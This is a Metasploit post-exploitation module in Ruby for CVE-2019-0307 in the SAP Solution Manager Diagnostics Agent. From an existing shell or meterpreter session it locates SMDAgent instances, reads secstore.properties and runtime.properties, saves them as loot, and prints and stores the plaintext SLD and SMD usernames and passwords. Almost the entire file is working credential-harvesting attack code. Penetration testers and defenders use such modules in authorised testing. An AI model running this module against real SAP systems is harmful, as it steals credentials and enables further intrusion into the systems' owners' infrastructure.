##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'resolv'

class MetasploitModule < Msf::Post
  include Msf::Post::File
  include Msf::Exploit::Local::SapSmdAgentUnencryptedProperty

  SECSTORE_FILE = 'secstore.properties'.freeze
  RUNTIME_FILE = 'runtime.properties'.freeze

  WIN_PREFIX = 'c:\\usr\\sap\\DAA\\'.freeze
  UNIX_PREFIX = '/usr/sap/DAA/'.freeze

  WIN_SUFFIX = '\\SMDAgent\\configuration\\'.freeze
  UNIX_SUFFIX = '/SMDAgent/configuration/'.freeze

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Diagnostics Agent in Solution Manager, stores unencrypted credentials for Solution Manager server',
        'Description' => %q{
          This module retrieves the `secstore.properties` file on a SMDAgent. This file contains the credentials
          used by the SMDAgent to connect to the SAP Solution Manager server.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Yvan Genuer', # @_1ggy The researcher who originally found this vulnerability
          'Vladimir Ivanov' # @_generic_human_ This Metasploit module
        ],
        'Platform' => %w[bsd linux osx unix win],
        'SessionTypes' => %w[meterpreter shell],
        'References' => [
          [ 'CVE', '2019-0307' ],
          [ 'URL', 'https://conference.hitb.org/hitblockdown002/materials/D2T1%20-%20SAP%20RCE%20-%20The%20Agent%20Who%20Spoke%20Too%20Much%20-%20Yvan%20Genuer.pdf' ]
        ],
        'Compat' => {
          'Meterpreter' => {
            'Commands' => %w[
              stdapi_net_resolve_host
            ]
          }
        },
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'SideEffects' => [IOC_IN_LOGS],
          'Reliability' => []
        }
      )
    )
  end

  def run
    case session.type
    when 'meterpreter'
      meterpreter = true
    else
      meterpreter = false
    end
    case session.platform
    when 'windows'
      windows = true
      instances = dir(WIN_PREFIX)
    else
      windows = false
      instances = dir(UNIX_PREFIX)
    end

    if instances.nil? || instances.empty?
      fail_with(Failure::NotFound, 'SAP root directory not found')
    end

    instances.each do |instance|
      next if instance == 'SYS'

      next if instance.include? ' '

      next if instance.include? '.'

      next if instance.include? 'tmp'

      if windows
        runtime_properties_file_name = "#{WIN_PREFIX}#{instance}#{WIN_SUFFIX}#{RUNTIME_FILE}"
        secstore_properties_file_name = "#{WIN_PREFIX}#{instance}#{WIN_SUFFIX}#{SECSTORE_FILE}"
      else
        runtime_properties_file_name = "#{UNIX_PREFIX}#{instance}#{UNIX_SUFFIX}#{RUNTIME_FILE}"
        secstore_properties_file_name = "#{UNIX_PREFIX}#{instance}#{UNIX_SUFFIX}#{SECSTORE_FILE}"
      end

      runtime_properties = parse_properties_file(runtime_properties_file_name, meterpreter)
      secstore_properties = parse_properties_file(secstore_properties_file_name, meterpreter)

      next if runtime_properties.empty?

      print_line
      print_status("Instance: #{instance}")
      print_status("Runtime properties file name: #{runtime_properties_file_name}")
      print_status("Secstore properties file name: #{secstore_properties_file_name}")

      sld_protocol = nil
      sld_hostname = nil
      sld_address = nil
      sld_port = nil
      sld_username = nil
      sld_password = nil

      smd_url = nil
      smd_username = nil
      smd_password = nil

      # Parse runtime.properties file
      runtime_properties.each do |property|
        if property[:name].include?('sld.')
          case property[:name]
          when /hostprotocol/
            sld_protocol = property[:value]
          when /hostname/
            sld_hostname = property[:value]
          when /hostport/
            sld_port = property[:value]
          end
        elsif property[:name].include?('smd.')
          case property[:name]
          when /url/
            smd_url = property[:value].gsub(/\\:/, ':')
          end
        end
      end

      # Parse secstore.properties file
      secstore_properties.each do |property|
        if property[:name].include?('sld/')
          case property[:name]
          when /usr/
            sld_username = property[:value]
          when /pwd/
            sld_password = property[:value]
          end
        elsif property[:name].include?('smd/')
          case property[:name]
          when /User/
            smd_username = property[:value]
          when /Password/
            smd_password = property[:value]
          end
        end
      end

      # Print SLD properties
      if !sld_protocol.nil? || !sld_hostname.nil? || !sld_port.nil? || !sld_username.nil? || !sld_password.nil?
        print_line
        print_status('SLD properties:')
        print_status("SLD protocol: #{sld_protocol}") unless sld_protocol.nil?
        unless sld_hostname.nil?
          print_status("SLD hostname: #{sld_hostname}")
          if meterpreter
            if sld_hostname =~ Resolv::IPv4::Regex
              sld_address = sld_hostname
            else
              begin
                sld_address = session.net.resolve.resolve_host(sld_hostname)[:ip]
                print_status("SLD address: #{sld_address}")
              rescue Rex::Post::Meterpreter::RequestError
                print_error("Failed to resolve SLD hostname: #{sld_hostname}")
              end
            end
          end
        end
        print_status("SLD port: #{sld_port}") unless sld_port.nil?
        print_good("SLD username: #{sld_username}") unless sld_username.nil?
        print_good("SLD password: #{sld_password}") unless sld_password.nil?
      end

      # Print SMD properties
      if !smd_url.nil? || !smd_username.nil? || !smd_password.nil?
        print_line
        print_status('SMD properties:')
        print_status("SMD url: #{smd_url}") unless smd_url.nil?
        print_good("SMD username: #{smd_username}") unless smd_username.nil?
        print_good("SMD password: #{smd_password}") unless smd_password.nil?
      end

      # Store decoded credentials, report service and vuln
      print_line
      if sld_username.nil? || sld_password.nil?
        print_error("File #{secstore_properties_file_name} read, but this file is likely encrypted or does not contain credentials. This SMDAgent is likely patched.")
      else
        # Store decoded credentials
        print_good('Store decoded credentials for SolMan server')
        if sld_address.nil? || sld_port.nil?
          service_data = {}
        else
          service_data = {
            origin_type: :service,
            address: sld_address,
            port: sld_port,
            service_name: 'http',
            protocol: 'tcp'
          }
          # Report service
          report_service(
            host: sld_address,
            port: sld_port,
            name: 'http',
            proto: 'tcp',
            info: 'SAP Solution Manager'
          )
        end
        store_valid_credential(
          user: sld_username,
          private: sld_password,
          private_type: :password,
          service_data: service_data
        )
        # Report vulnerability
        if meterpreter
          agent_host = Rex::Socket.getaddress(session.sock.peerhost, true)
        else
          agent_host = session.session_host
        end
        report_vuln(
          host: agent_host,
          name: name,
          refs: references
        )
      end
    end
  end

  def parse_properties_file(filename, is_meterpreter)
    properties = []
    if file_exist?(filename)
      properties_content = read_file(filename)
      if properties_content.nil?
        print_error("Failed to read properties file: #{filename}")
      else
        if is_meterpreter
          agent_host = Rex::Socket.getaddress(session.sock.peerhost, true)
        else
          agent_host = session.session_host
        end
        loot = store_loot('smdagent.properties', 'text/plain', agent_host, properties_content, filename, 'SMD Agent properties file')
        print_good("File #{filename} saved in: #{loot}")
        properties = parse_properties(properties_content)
      end
    else
      print_error("File: #{filename} does not exist")
    end
    properties
  end

end
